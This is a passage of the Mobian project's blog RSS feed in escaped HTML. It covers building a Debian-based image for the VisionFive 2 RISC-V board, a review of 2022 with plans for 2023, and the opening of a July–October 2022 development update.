create an &amp;ldquo;almost-pure&amp;rdquo; Debian image for the VisionFive v2?&lt;/p&gt;
&lt;h2 id=&#34;the-board&#34;&gt;The board&lt;/h2&gt;
&lt;p&gt;The &lt;a href=&#34;https://www.starfivetech.com/en/site/boards&#34;&gt;VisionFive 2&lt;/a&gt; is a RISC-V SBC
based on StarFive&amp;rsquo;s &lt;a href=&#34;https://www.starfivetech.com/en/site/soc&#34;&gt;JH7110&lt;/a&gt; SoC.
This chip includes 4x &lt;a href=&#34;https://www.sifive.com/cores/u74&#34;&gt;SiFive U74&lt;/a&gt; cores,
Gigabit Ethernet, PCIe and many other interfaces.&lt;/p&gt;
&lt;p&gt;The board itself includes a choice of 2, 4 or 8GB RAM, a now-standard 40-pin
GPIO header, a microSD card slot, an eMMC socket as well as an M.2 slot for an
NVMe SSD, and of course several USB ports and 2 Gigabit Ethernet ports.&lt;/p&gt;
&lt;h2 id=&#34;ok-but-can-it-run-debian&#34;&gt;OK, but&amp;hellip; can it run Debian?&lt;/h2&gt;
&lt;p&gt;In order to run any kind of Linux system (including a Debian-based one), we
need the following elements:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;a bootloader&lt;/li&gt;
&lt;li&gt;a kernel which includes support for this specific device&lt;/li&gt;
&lt;li&gt;a root filesystem containing userspace software, compiled for the device&amp;rsquo;s
CPU architecture&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&#34;das-u-boot-abenteuer&#34;&gt;Das U-boot Abenteuer&lt;/h3&gt;
&lt;p&gt;The first item is already present on the board, in the form of a SPI NOR flash
chip, factory-flashed with &lt;code&gt;u-boot&lt;/code&gt;. However, the one present on our (early
bird) board lacked support for standard &amp;ldquo;distroboot&amp;rdquo;, therefore we had to build
a more recent version from StarFive&amp;rsquo;s &lt;a href=&#34;https://github.com/starfive-tech/u-boot&#34;&gt;u-boot&lt;/a&gt;
repository and flash it using the documented
&lt;a href=&#34;https://github.com/starfive-tech/Tools#recovery&#34;&gt;recovery procedure&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;It required backporting an upstream
&lt;a href=&#34;https://gitlab.com/a-wai/vf2-uboot/-/commit/729aab0bf45b9b6b40015fb78f24987e4c348cf3&#34;&gt;patch&lt;/a&gt;
to be able to build using the compiler and &lt;code&gt;binutils&lt;/code&gt; from current Debian
testing. However, for some reason using the latest commit (at the time) of the
&lt;code&gt;JH7110_VisionFive2_devel&lt;/code&gt; branch led to a non-functional binary, unable to
detect the RAM size of our board. One more
&lt;a href=&#34;https://gitlab.com/a-wai/vf2-uboot/-/commit/0ec7ab92f5af96e0156d890fd61d72ad4c2c5e0d&#34;&gt;patch&lt;/a&gt;
later, we could however get a working bootloader!&lt;/p&gt;
&lt;p&gt;It wasn&amp;rsquo;t capable of using the &amp;ldquo;distroboot&amp;rdquo; due to wrong and/or missing
environment variables, which were later added. Feel free to refer to our
&lt;a href=&#34;https://gitlab.com/a-wai/vf2-uboot/-/commits/vf2-debian&#34;&gt;patched source tree&lt;/a&gt;,
or simply download the binary files from our
&lt;a href=&#34;https://gitlab.com/a-wai/vf2-uboot/-/tree/vf2-artifacts&#34;&gt;artifacts branch&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id=&#34;a-working-kernel&#34;&gt;A working kernel&lt;/h3&gt;
&lt;p&gt;Similar to &lt;code&gt;u-boot&lt;/code&gt;, StarFive provides a
&lt;a href=&#34;https://github.com/starfive-tech/linux/tree/JH7110_VisionFive2_devel&#34;&gt;kernel&lt;/a&gt;
repository, including all needed patches to get it running on the VisionFive 2
board&amp;hellip; and just like &lt;code&gt;u-boot&lt;/code&gt;, it doesn&amp;rsquo;t build from a current Debian
testing&amp;hellip;&lt;/p&gt;
&lt;p&gt;This is easily solved by, once again, backporting an upstream
&lt;a href=&#34;https://gitlab.com/a-wai/vf2-linux/-/commit/927d5d42d9fb1282269f5a7ca85a655206bf8108&#34;&gt;patch&lt;/a&gt;.
Once built with the usual &lt;code&gt;make bindeb-pkg&lt;/code&gt; command (and, of course, the proper
values for the &lt;code&gt;ARCH&lt;/code&gt; and &lt;code&gt;CROSS_COMPILE&lt;/code&gt; env vars), we get a &lt;code&gt;.deb&lt;/code&gt; containing
the kernel and its modules, which boots just fine. However, the default kernel
config is somewhat limited and doesn&amp;rsquo;t allow us to run &lt;code&gt;docker&lt;/code&gt; (remember, we
want to make this board a GitLab CI runner!). With some additional
&lt;a href=&#34;https://gitlab.com/a-wai/vf2-linux/-/commit/c27dc760e3cee95ea2daf3c4170ad3aad3aa081d&#34;&gt;tweaking&lt;/a&gt;,
we finally get to a point where this kernel is fully usable for our purpose.&lt;/p&gt;
&lt;p&gt;Our &lt;a href=&#34;https://gitlab.com/a-wai/vf2-linux&#34;&gt;patched kernel&lt;/a&gt; is of course also
available on GitLab.&lt;/p&gt;
&lt;h3 id=&#34;tying-it-all-together&#34;&gt;Tying it all together&lt;/h3&gt;
&lt;p&gt;Putting the architecture differences aside, this device is quite similar to the
PinePhone Pro from a low-level perspective: the bootloader is directly flashed
to the board&amp;rsquo;s SPI flash, and we need to create a bootable image to be written
on a microSD card.&lt;/p&gt;
&lt;p&gt;We &lt;a href=&#34;https://salsa.debian.org/Mobian-team/mobian-recipes&#34;&gt;already know&lt;/a&gt; how to
do this on the PPP, so why not re-use this knowledge for the VisionFive 2? Not
wanting to mess with Mobian&amp;rsquo;s &amp;ldquo;production&amp;rdquo; codebase, we imported this repo to
&lt;a href=&#34;https://gitlab.com/a-wai/mobian-recipes&#34;&gt;gitlab.com&lt;/a&gt; and made the necessary
changes there. As you&amp;rsquo;ll notice from the
&lt;a href=&#34;https://gitlab.com/a-wai/mobian-recipes/-/commit/fd3bd76b268cf086121ae142eac5705e84ceac91&#34;&gt;single commit&lt;/a&gt;
needed to generate the VisionFive 2 image, the changes are very minimal,
demonstrating the flexibility and power of the tools we&amp;rsquo;ve been developing over
the past 3 (!) years.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s walk through those changes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;the &lt;code&gt;build.sh&lt;/code&gt; script is modified to support a new &lt;code&gt;riscv64&lt;/code&gt; device (it
could/should probably have been named &lt;code&gt;vf2&lt;/code&gt;, but remember this is only
a quick and dirty experiment), using the &lt;code&gt;riscv64&lt;/code&gt; architecture and fetching
its device-specific recipes from &lt;code&gt;devices/riscv64&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;the &lt;code&gt;devices/riscv64&lt;/code&gt; is mostly a copy from &lt;code&gt;devices/rockchip&lt;/code&gt; with only a
few small adjustments:
&lt;ul&gt;
&lt;li&gt;as the kernel package is locally-built and not available from the Mobian
repository, it is copied under a subfolder and imported to the rootfs
using the &lt;code&gt;overlay&lt;/code&gt; action, then manually installed using a &lt;code&gt;run&lt;/code&gt; action&lt;/li&gt;
&lt;li&gt;no package is installed for &lt;code&gt;phosh&lt;/code&gt; as we want to create a minimal system.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;the global &lt;code&gt;packages-base.yaml&lt;/code&gt; sub-recipe is modified to always include
&lt;code&gt;openssh-server&lt;/code&gt;, which is pretty much a requirement for a headless system.&lt;/li&gt;
&lt;li&gt;the most important changes lie in the &lt;code&gt;rootfs.yaml&lt;/code&gt; recipe:
&lt;ul&gt;
&lt;li&gt;use the &lt;code&gt;debian-ports&lt;/code&gt; archive when building for the &lt;code&gt;riscv64&lt;/code&gt;
architecture; as this archive uses different GPG keys than the main Debian
archive, we use the relevant key file from the host system (this requires
first installing the &lt;code&gt;debian-ports-archive-keyring&lt;/code&gt; package on the host
system).&lt;/li&gt;
&lt;li&gt;as &lt;code&gt;debootstrap&lt;/code&gt; won&amp;rsquo;t install it, we install the
&lt;code&gt;debian-ports-archive-keyring&lt;/code&gt; package to the rootfs so it can be updated
over time.&lt;/li&gt;
&lt;li&gt;we drop the &lt;code&gt;packages-$environment&lt;/code&gt; sub-recipe (minimal system, remember?)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;With those changes, building the image is as simple as running
&lt;code&gt;./build.sh -t riscv64&lt;/code&gt;. It can then be flashed to a microSD and should bring
you a fully functional Debian/Mobian system on your VisionFive 2 :)&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Note: we could have easily made it a &amp;ldquo;pure&amp;rdquo; Debian image, however we carry a
patched version of &lt;code&gt;u-boot-menu&lt;/code&gt; which simplifies the image generation process
a lot.&lt;/em&gt;&lt;/p&gt;
&lt;h2 id=&#34;final-words&#34;&gt;Final words&lt;/h2&gt;
&lt;p&gt;This process can probably easily be replicated for PINE64&amp;rsquo;s
&lt;a href=&#34;https://www.pine64.org/2022/08/28/august-update-risc-and-reward/&#34;&gt;Star64&lt;/a&gt;
once it becomes available, as both boards use the same SoC. Likewise, this
experiment can and will be re-used as the first step towards proper &lt;code&gt;riscv64&lt;/code&gt;
support in Mobian, hopefully in a not-so-distant future ;)&lt;/p&gt;
&lt;p&gt;We hope this article will also highlight how building and/or using flexible and
powerful tools can greatly help expanding a project&amp;rsquo;s features set, and can
even be used for only remotely-related tasks. It also shows how &amp;ldquo;easy&amp;rdquo; it can
be to create Debian-based images for embedded systems (as opposed to, for
example, having to re-compile the whole world twice using Yocto ;) ).&lt;/p&gt;
&lt;p&gt;Finally, we want to point out how such things can only happen in the FLOSS
world:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;being able to build each package from source is what makes the Debian ports
initiative possible at all&lt;/li&gt;
&lt;li&gt;the vendor publishing the source code to the bootloader and kernel allowed
us to build those with the needed options to fulfill our needs&lt;/li&gt;
&lt;li&gt;anyone (with decent knowledge of Linux systems internals) can build their own
image easily, adding or removing packages and tweaks as they see fit, rather
than being stuck with a generic (and probably bloated) third-party image.&lt;/li&gt;
&lt;/ul&gt;</description>
    </item>
    
    <item>
      <title>A look back in the mirror... And a glimpse of the future!</title>
      <link>https://blog.mobian.org/posts/2023/01/08/2022-review/</link>
      <pubDate>Sun, 08 Jan 2023 00:00:00 +0000</pubDate>
      
      <guid>https://blog.mobian.org/posts/2023/01/08/2022-review/</guid>
      <description>&lt;p&gt;2022 has been an extremely busy year for Mobian developers, and a lot has
happened throughout this period. As we&amp;rsquo;re entering a new &lt;del&gt;development
cycle&lt;/del&gt; year, now is a good time to look back at what we achieved in 2022.&lt;/p&gt;
&lt;h2 id=&#34;foundation-work&#34;&gt;Foundation work&lt;/h2&gt;
&lt;p&gt;One of our goals has always been for Mobian to slowly dissolve into Debian. As
such, we aim at moving packages from the downstream Mobian archive into the
upstream Debian repositories.&lt;/p&gt;
&lt;h3 id=&#34;summer-migration&#34;&gt;Summer migration&lt;/h3&gt;
&lt;p&gt;As a consequence, we decided to move all the source code used in Mobian from
&lt;a href=&#34;https://gitlab.com&#34;&gt;gitlab.com&lt;/a&gt; to &lt;a href=&#34;https://salsa.debian.org&#34;&gt;Salsa&lt;/a&gt;, Debian&amp;rsquo;s
own &lt;a href=&#34;https://about.gitlab.com/&#34;&gt;GitLab&lt;/a&gt; instance, during last summer. With the
exception of non-free firmware blobs of unclear origins, Mobian is now fully
maintained within Salsa&amp;rsquo;s &lt;a href=&#34;https://salsa.debian.org/Mobian-team&#34;&gt;Mobian-team&lt;/a&gt;
group. It should be noted that, thanks to GitLab&amp;rsquo;s export/import features, this
important migration has been mostly painless!&lt;/p&gt;
&lt;h3 id=&#34;feeding-the-debian-package-servers&#34;&gt;Feeding the Debian package servers&lt;/h3&gt;
&lt;p&gt;We also welcomed the contributions of Debian developers who helped us both
for improving Mobian and for moving our downstream packages to Debian upstream.
Together, we were able to push a great number of new packages to the Debian
archive, including (but not limited to):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://tracker.debian.org/pkg/calamares-extensions&#34;&gt;calamares-extensions&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://tracker.debian.org/pkg/eg25-manager&#34;&gt;eg25-manager&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://tracker.debian.org/pkg/firefox-esr-mobile-config&#34;&gt;mobile-config-firefox&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://tracker.debian.org/pkg/numberstation&#34;&gt;numberstation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://tracker.debian.org/pkg/passes-gtk&#34;&gt;passes&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://tracker.debian.org/pkg/phosh-antispam&#34;&gt;phosh-antispam&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://tracker.debian.org/pkg/powersupply-gtk&#34;&gt;powersupply&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://tracker.debian.org/pkg/satellite-gtk&#34;&gt;satellite&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://tracker.debian.org/pkg/sxmo-utils&#34;&gt;sxmo-utils&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This past year also saw us upload
&lt;a href=&#34;https://tracker.debian.org/pkg/calamares-settings-mobian&#34;&gt;calamares-settings-mobian&lt;/a&gt;
and &lt;a href=&#34;https://tracker.debian.org/pkg/plymouth-theme-mobian&#34;&gt;plymouth-theme-mobian&lt;/a&gt;
to Debian, making those the first Mobian-specific packages to make it into the
Debian archive!&lt;/p&gt;
&lt;h3 id=&#34;less-downstream-tweaks&#34;&gt;Less downstream tweaks&lt;/h3&gt;
&lt;p&gt;Over the past year, one of our main areas of work was getting rid of as much
custom scripts and tweaks as possible, and rely on existing upstream solutions
instead.&lt;/p&gt;
&lt;p&gt;A good example of such improvements if the switch to &lt;code&gt;systemd&lt;/code&gt; services for
growing the root filesystem on initial boot: while previously relying on
&lt;a href=&#34;https://tracker.debian.org/pkg/cloud-initramfs-tools&#34;&gt;cloud-initramfs-tools&lt;/a&gt;
and a downstream initramfs script, we now hand this task over to
&lt;a href=&#34;https://www.freedesktop.org/software/systemd/man/systemd-repart.html&#34;&gt;systemd-repart&lt;/a&gt;
and &lt;a href=&#34;https://www.freedesktop.org/software/systemd/man/systemd-growfs.html&#34;&gt;systemd-growfs&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;We also got rid of device-specific kernel cmdline parameters, as we can now
rely on the device tree for providing this information, such as the default
serial console; similarly, by working with upstream to automatically compute
display scaling in &lt;a href=&#34;https://gitlab.gnome.org/World/Phosh/phoc&#34;&gt;phoc&lt;/a&gt;, we could
drop our downstream, per-device &lt;code&gt;phoc.ini&lt;/code&gt; files.&lt;/p&gt;
&lt;p&gt;Overall, those changes allowed us to get rid of most of our per-device tweaks,
up to the point where now we barely need any. This not only makes it easier to
envision out-of-the-box Debian support for the devices we currently work on,
but will also make new device bring-up incredibly easier!&lt;/p&gt;
&lt;h2 id=&#34;being-good-floss-citizens&#34;&gt;Being good FLOSS citizens&lt;/h2&gt;
&lt;p&gt;Over the past year, Mobian developers have also tried to fix issues and add
features upstream rather than carrying patched packages. Notable upstream
projects we contributed to in 2022 include, among others:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://calamares.io/&#34;&gt;calamares&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://salsa.debian.org/Mobian-team/devices/kernels/rockchip-linux/-/merge_requests/24&#34;&gt;linux&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://gitlab.com/postmarketOS/mobile-config-firefox&#34;&gt;mobile-config-firefox&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://gitlab.gnome.org/World/Phosh/phoc&#34;&gt;phoc&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://gitlab.gnome.org/World/Phosh/phosh&#34;&gt;phosh&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://sxmo.org/&#34;&gt;sxmo&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://systemd.io/&#34;&gt;systemd&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://salsa.debian.org/debian/u-boot-menu&#34;&gt;u-boot-menu&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We also keep maintaining software that are an important part of the mobile
Linux ecosystem, such as &lt;a href=&#34;https://gitlab.com/mobian1/eg25-manager&#34;&gt;eg25-manager&lt;/a&gt;
and &lt;a href=&#34;https://gitlab.com/mobian1/callaudiod&#34;&gt;callaudiod&lt;/a&gt;. Lately, we published
2 additional projects, not only because we felt those were needed for Mobian,
but also because they might be useful to other distros and users.&lt;/p&gt;
&lt;p&gt;Those projects are &lt;a href=&#34;https://gitlab.com/mobian1/droid-juicer&#34;&gt;droid-juicer&lt;/a&gt;
(more on this one below) and &lt;a href=&#34;https://gitlab.com/mobian1/phog&#34;&gt;phog&lt;/a&gt;, which is
a GUI login/session startup application aimed specifically at mobile devices
(you can think of it as &amp;ldquo;GDM for phones&amp;rdquo;). It relies on
&lt;a href=&#34;https://git.sr.ht/~kennylevinsen/greetd&#34;&gt;greetd&lt;/a&gt; for performing the actual
session startup, so &lt;code&gt;phog&lt;/code&gt; doesn&amp;rsquo;t interact with &lt;code&gt;pam&lt;/code&gt; nor &lt;code&gt;systemd&lt;/code&gt; directly.&lt;/p&gt;
&lt;p&gt;Bringing a graphical login manager to mobile devices allows our users to have
multiple user accounts instead of the single (and so-far hardcoded) &lt;code&gt;mobian&lt;/code&gt;
user. They can also use &lt;code&gt;phog&lt;/code&gt; to select which graphical environment they want
to start, so they could very well setup one user for work running Phosh, and
another user for their everyday life running SXMO, for example. Finally, &lt;code&gt;phog&lt;/code&gt;
ensures the GNOME keyring is unlocked when the session is started so we can
get rid of the annoying &amp;ldquo;keyring password&amp;rdquo; dialogs on session startup :)&lt;/p&gt;
&lt;h2 id=&#34;not-quite-there-yet&#34;&gt;Not quite there yet&lt;/h2&gt;
&lt;p&gt;Unfortunately, time is not extensible: as volunteers we can&amp;rsquo;t spend as much
time working on Mobian as we&amp;rsquo;d like, meaning we sometimes have to prioritize
things, and delay some of the work we had hoped to achieve.&lt;/p&gt;
&lt;p&gt;This is exactly what happened with the &lt;a href=&#34;https://blog.mobian.org/posts/2022/03/30/universal-images/&#34;&gt;universal images&lt;/a&gt;
that we hoped to implement in 2022, so they could be ready, tested and debugged
come 2023, and finally be made our new default during the 1st quarter of this
year.&lt;/p&gt;
&lt;p&gt;To this effect, we started working on fundational pieces of software, starting
with &lt;a href=&#34;https://crates.io/crates/tweakster&#34;&gt;tweakster&lt;/a&gt;, a utility to manage
device-specific config at runtime. It, in turn, gave birth to
&lt;a href=&#34;https://tracker.debian.org/pkg/rust-droid-juicer&#34;&gt;droid-juicer&lt;/a&gt;, a tool
designed to extract proprietary firmware from vendor partitions on Android
devices: that way, we wouldn&amp;rsquo;t have to package non-free firmware for those
devices anymore, which increases our workload while decreasing the chances of
getting such devices properly supported by vanilla Debian.&lt;/p&gt;
&lt;p&gt;The good point is that the initial release of &lt;code&gt;droid-juicer&lt;/code&gt; has been uploaded
to Debian before the year ended; the less-good point is that &lt;code&gt;tweakster&lt;/code&gt; and
consequently universal images have been delayed by this work and therefore will
have to wait for the &lt;a href=&#34;https://wiki.debian.org/DebianTrixie&#34;&gt;Trixie&lt;/a&gt; development
cycle. However, we might have a few more tricks up our sleeves to make at least
&lt;em&gt;some&lt;/em&gt; of it happen earlier ;)&lt;/p&gt;
&lt;h2 id=&#34;community-vitality&#34;&gt;Community vitality&lt;/h2&gt;
&lt;p&gt;Finally, 2022 showed once again the mobile Linux community vitality through
numerous events and collaborations. In particular, FOSDEM 2022 was the first
edition including a &amp;ldquo;FOSS on Mobile Devices&amp;rdquo; devroom, which ended up being
incredibly successful.&lt;/p&gt;
&lt;p&gt;It went so well, actually, that this year&amp;rsquo;s (in-person) FOSDEM will feature
&lt;em&gt;both&lt;/em&gt; the &lt;a href=&#34;https://fosdem.org/2023/schedule/track/foss_on_mobile_devices/&#34;&gt;devroom&lt;/a&gt;
and a &amp;ldquo;Linux on Mobile&amp;rdquo; &lt;a href=&#34;https://fosdem.org/2023/stands/&#34;&gt;stand&lt;/a&gt; where you&amp;rsquo;ll
be able to discuss with members of several projects, including Mobian,
&lt;a href=&#34;https://postmarketos.org/&#34;&gt;postmarketOS&lt;/a&gt;, &lt;a href=&#34;https://ubports.com/&#34;&gt;UBPorts&lt;/a&gt;,
&lt;a href=&#34;https://sailfishos.org/&#34;&gt;Sailfish OS&lt;/a&gt; and more!&lt;/p&gt;
&lt;p&gt;We also agreed with other mobile distros to switch to Tow-Boot for supported
devices, eventually leading PINE64 to ship the PinePhone Pro with this
booloader factory-flashed. We expect such cross-distro collaboration to keep
covering more areas over time and we trust this, along with the great
relationship we have with developers from &lt;a href=&#34;https://postmarketos.org/&#34;&gt;postmarketOS&lt;/a&gt;
and &lt;a href=&#34;https://puri.sm&#34;&gt;Purism&lt;/a&gt;, will lead to even more spectacular improvements
to the ecosystem we&amp;rsquo;re shaping up together.&lt;/p&gt;
&lt;p&gt;We&amp;rsquo;re also seeing two important trends both in the market and community,
starting with new manufacturers joining the dance:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Juno Computers released an Intel-based
&lt;a href=&#34;https://junocomputers.com/product/juno-tablet/&#34;&gt;Linux tablet&lt;/a&gt; shipping with
either Mobian or Manjaro as the default OS&lt;/li&gt;
&lt;li&gt;FydeOS announced its &lt;a href=&#34;https://fydetabduo.com/&#34;&gt;FydeTab Duo&lt;/a&gt;, a 12&amp;quot; tablet
based on the Rockchip RK3588 flagship SoC; although it comes with FydeOS, a
ChromiumOS derivative, the &lt;a href=&#34;https://fydetabduo.com/specs&#34;&gt;tech specs&lt;/a&gt; page
mentions optional compatibility &amp;ldquo;with other open-source operating systems,
including popular Linux distributions&amp;rdquo;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Another trend is the fact the PinePhone Pro is being adopted widely as a
development platform for showcasing various projects, as can be seen from
CodeThink&amp;rsquo;s &lt;a href=&#34;https://www.codethink.co.uk/articles/2022/gnome-os-mobile/&#34;&gt;recent work&lt;/a&gt;
on a mobile version of GNOME OS.&lt;/p&gt;
&lt;p&gt;Both those trends attract more users and developers to our platform(s),
improving the likelihood that &lt;em&gt;someone&lt;/em&gt; (who might just be you!) will work on
solving your particular problem in a way that will benefit the whole community.&lt;/p&gt;
&lt;h2 id=&#34;our-plans-for-2023&#34;&gt;Our plans for 2023&lt;/h2&gt;
&lt;p&gt;With the Bookworm &lt;a href=&#34;https://release.debian.org/bookworm/freeze_policy.html&#34;&gt;freeze process&lt;/a&gt;
starting in just a few days, this year will be very special regarding the way
we work on Mobian: uploads to Debian will likely slow down starting Feb 12th
(soft freeze) and come to a near-halt 1 month later (hard freeze). This implies
we will then be only able to focus on Mobian-specific packages until Bookworm
is finally released.&lt;/p&gt;
&lt;h3 id=&#34;keep-moving-while-frozen&#34;&gt;Keep moving while frozen&lt;/h3&gt;
&lt;p&gt;Fortunately (or not?), there are always a lot of non-packaging tasks pending,
so we have at least &lt;em&gt;some&lt;/em&gt; idea how we&amp;rsquo;re going to spend our time: not working
on Mobian/Debian packages means we have then more time to hunt down bugs and
improve the overall system stability.&lt;/p&gt;
&lt;p&gt;This will also be a good opportunity to finally get to the upstream
contributions we&amp;rsquo;ve been holding back for quite some time. This includes,
for example, getting &lt;a href=&#34;https://tow-boot.org/&#34;&gt;Tow-boot&lt;/a&gt; to support the
&lt;a href=&#34;https://www.pine64.org/pinetab/&#34;&gt;PineTab&lt;/a&gt; and &lt;a href=&#34;https://puri.sm/products/librem-5/&#34;&gt;Librem 5&lt;/a&gt;
(no promise though), or pushing more of our kernel patches upstream.&lt;/p&gt;
&lt;p&gt;We&amp;rsquo;ll also have more time to work on new hardware support, the
&lt;a href=&#34;https://www.pine64.org/2022/12/15/december-update-merry-christmas-and-happy-new-pinetab/&#34;&gt;PineTab 2&lt;/a&gt;
and &lt;a href=&#34;https://shop.fairphone.com/en/buy-fairphone-4&#34;&gt;FairPhone 4&lt;/a&gt; being good
candidates for official Mobian support.&lt;/p&gt;
&lt;h3 id=&#34;mobian-stable&#34;&gt;Mobian Stable&lt;/h3&gt;
&lt;p&gt;With the release of Bookworm in 2023 the first Mobian stable release will
finally happen! This version will follow the same release cycle as Debian,
providing only bugfix and security updates. Most of those will come directly
through Debian, including for Mobian-specific packages we still hope to get
accepted before the soft freeze begins, miniramfs being the most important of
those.&lt;/p&gt;
&lt;p&gt;We&amp;rsquo;ll still need to carry downstream packages though, and will do our best to
provide timely security updates and bugfixes for those. To this effect, we
settled to ship Linux 6.1 on all our devices as it should be the next LTS
kernel, and are committing to keeping it as up-to-date as possible.&lt;/p&gt;
&lt;h3 id=&#34;the-days-after&#34;&gt;The day(s) after&lt;/h3&gt;
&lt;p&gt;Once Bookworm is released, we&amp;rsquo;ll switch our testing and staging repos to track
Debian Trixie and will keep bringing you up-to-date software during the whole
Trixie development cycle.&lt;/p&gt;
&lt;p&gt;Now that we have &lt;a href=&#34;https://sxmo.org/&#34;&gt;SXMO&lt;/a&gt; available in Debian, and good
progress is being made towards packaging &lt;a href=&#34;https://plasma-mobile.org/&#34;&gt;Plasma Mobile&lt;/a&gt;,
we also hope the Trixie development cycle will give us the opportunity to provide
our users with more graphical environment options. We&amp;rsquo;ll also closely track the
work of the &lt;a href=&#34;https://qa.debian.org/developer.php?email=team%2bubports%40tracker.debian.org&#34;&gt;Debian UBPorts team&lt;/a&gt;
with the hope that we can ultimately provide &lt;a href=&#34;https://lomiri.com/&#34;&gt;Lomiri&lt;/a&gt;-based
images at some point.&lt;/p&gt;
&lt;p&gt;Finally, we&amp;rsquo;ll keep working towards making universal images happen, while still
looking at and packaging mobile-friendly software, such as
&lt;a href=&#34;https://organicmaps.app/&#34;&gt;Organic Maps&lt;/a&gt; among others.&lt;/p&gt;
&lt;h2 id=&#34;what-wed-love-to-see-happening-in-2023&#34;&gt;What we&amp;rsquo;d love to see happening in 2023&lt;/h2&gt;
&lt;p&gt;As mentioned earlier, a lot is constantly happening throughout the whole
ecosystem, which in itself is very positive. However, we&amp;rsquo;ve noticed some
encouraging activity in recent months which fills us with hope for this new
year.&lt;/p&gt;
&lt;p&gt;After the &lt;a href=&#34;https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=78a21c7d59520e72ebea667fe8745a4371d9fe86&#34;&gt;initial submission&lt;/a&gt;,
the PinePhone Pro is getting &lt;a href=&#34;https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=a7e6dbd6ac034480d7fde95ecf2259d27e5655b1&#34;&gt;better&lt;/a&gt;
and &lt;a href=&#34;https://patchwork.kernel.org/project/linux-arm-kernel/list/?series=706595&#34;&gt;better&lt;/a&gt;
upstream support as time goes by. As several different developers have
contributed over these past few months, we hope this trend will carry on, and
maybe even join forces so we can finally have a device fully supported
by the mainline kernel.&lt;/p&gt;
&lt;p&gt;The other area triggering our interest is all the work currently happening in
&lt;a href=&#34;https://libcamera.org&#34;&gt;libcamera&lt;/a&gt;: developers from this project envision
mobile Linux devices as a perfect showcase for &lt;code&gt;libcamera&lt;/code&gt;, and therefore do
their best in order to ease contributions, fix camera sensor drivers for better
libcamera support, and more generally improve the camera situation on Linux. We
can&amp;rsquo;t wait to see where we&amp;rsquo;ll be standing a year from now, and are confident
new applications and better support for our devices isn&amp;rsquo;t too far now!&lt;/p&gt;
&lt;h2 id=&#34;final-word&#34;&gt;Final word&lt;/h2&gt;
&lt;p&gt;We hope you&amp;rsquo;re as excited as we are about the current state and foreseeable
evolutions of the mobile Linux ecosystem, and wish you all a happy year 2023!&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>These... past 4 months in Mobian: July - October 2022</title>
      <link>https://blog.mobian.org/posts/2022/11/01/tmim/</link>
      <pubDate>Tue, 01 Nov 2022 00:00:00 +0000</pubDate>
      
      <guid>https://blog.mobian.org/posts/2022/11/01/tmim/</guid>
      <description>&lt;p&gt;As &lt;del&gt;we&amp;rsquo;re reaching the end of the month&lt;/del&gt; we &lt;em&gt;slightly&lt;/em&gt; overshot the month,
it&amp;rsquo;s time to look back at what happened since July.&lt;/p&gt;
&lt;h1 id=&#34;monthly-dev-meeting&#34;&gt;Monthly dev meeting&lt;/h1&gt;
&lt;p&gt;Highlights:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;puremaps packaging is progressing. Some of the dependencies are now in Debian unstable,
clearing the way for the main package.&lt;/li&gt;
&lt;li&gt;The image resizing bug has been solved by switching to &lt;code&gt;systemd-repart&lt;/code&gt; and &lt;code&gt;systemd-growfs&lt;/code&gt;.
@undef was instrumental in this switch by contributing several fixes upstream to make things
work smoothly.&lt;/li&gt;
&lt;li&gt;Currently working on the best way to support config fragments in &lt;code&gt;u-boot-menu&lt;/code&gt;
(&lt;a href=&#34;https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1012333&#34;&gt;#1012333&lt;/a&gt;) to support encrypted
PinePhone Pro installs and PinePhones with the VCCQ mod.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id=&#34;everyone-loves-salsa&#34;&gt;Everyone loves salsa!&lt;/h1&gt;
&lt;p&gt;We completed the move to Salsa, though there were a few issues along the way:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;kernels couldn&amp;rsquo;t be built through CI due to limits in artifacts size, forcing us to create a
simpler, different pipeline for those packages&lt;/li&gt;
